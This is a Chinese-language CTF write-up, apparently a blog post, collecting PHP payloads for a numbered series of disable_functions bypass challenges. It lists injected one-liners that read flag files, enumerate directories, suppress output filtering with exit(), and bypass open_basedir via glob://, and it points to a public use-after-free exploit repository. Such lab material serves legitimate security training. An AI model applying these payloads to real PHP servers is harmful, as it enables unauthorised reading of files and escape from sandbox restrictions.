该系列为php中绕过disable function的题目 下文中写的过xxx(65之前的)表示此题及此题之前的都可以过
通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
函数:
copy()
rename()
用法:
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60
单一函数读文件内容:
函数:
file_get_contents()
readfile()
file()
用法:
echo file_get_contents("flag.php"); //过58
readfile("flag.php"); //过58
print_r(file("flag.php")); //过59
通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a); //过59
$a=fopen("flag.php","r");echo fread($a,"1000"); //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} //过60
高亮显示php文件
函数
show_source()
highlight_file()
用法:
show_source("flag.php"); //过65 此后需先扫描目录
highlight_file("flag.php"); //过65
flag不在flag.php中,需要先查找flag所在的位置
scandir()
opendir()
用法
c=var_dump(scandir("/"));highlight_file("/flag.txt"); //过66-67
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . ""; };highlight_file("/flag.txt"); //过66-67
后面因为是txt文件,所以直接用include直接包含就能显示flag
include()
require()
用法:
include("/flag.txt"); //过66-70
require("/flag.txt"); //过66-70
绕过echo preg_replace("/[0-9]|[a-z]/i","?",$s);
直接后面输入 exit();即可
用法
include("/flag.txt");exit(); //过71
require("/flag.txt");exit(); //过71
echo(scandir("/")[6]);include("/flagc.txt");exit(); //过73
$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . ""; };include("flagx.txt");exit(); //过74
绕过open_basedir
//可绕72的目录限制,但无法读文件
$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . ""; };include("flagx.txt");exit();
//可绕72,利用uaf绕过函数限制 (传入后需url编码下)
代码来源(https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass)
c=?>
关注
打赏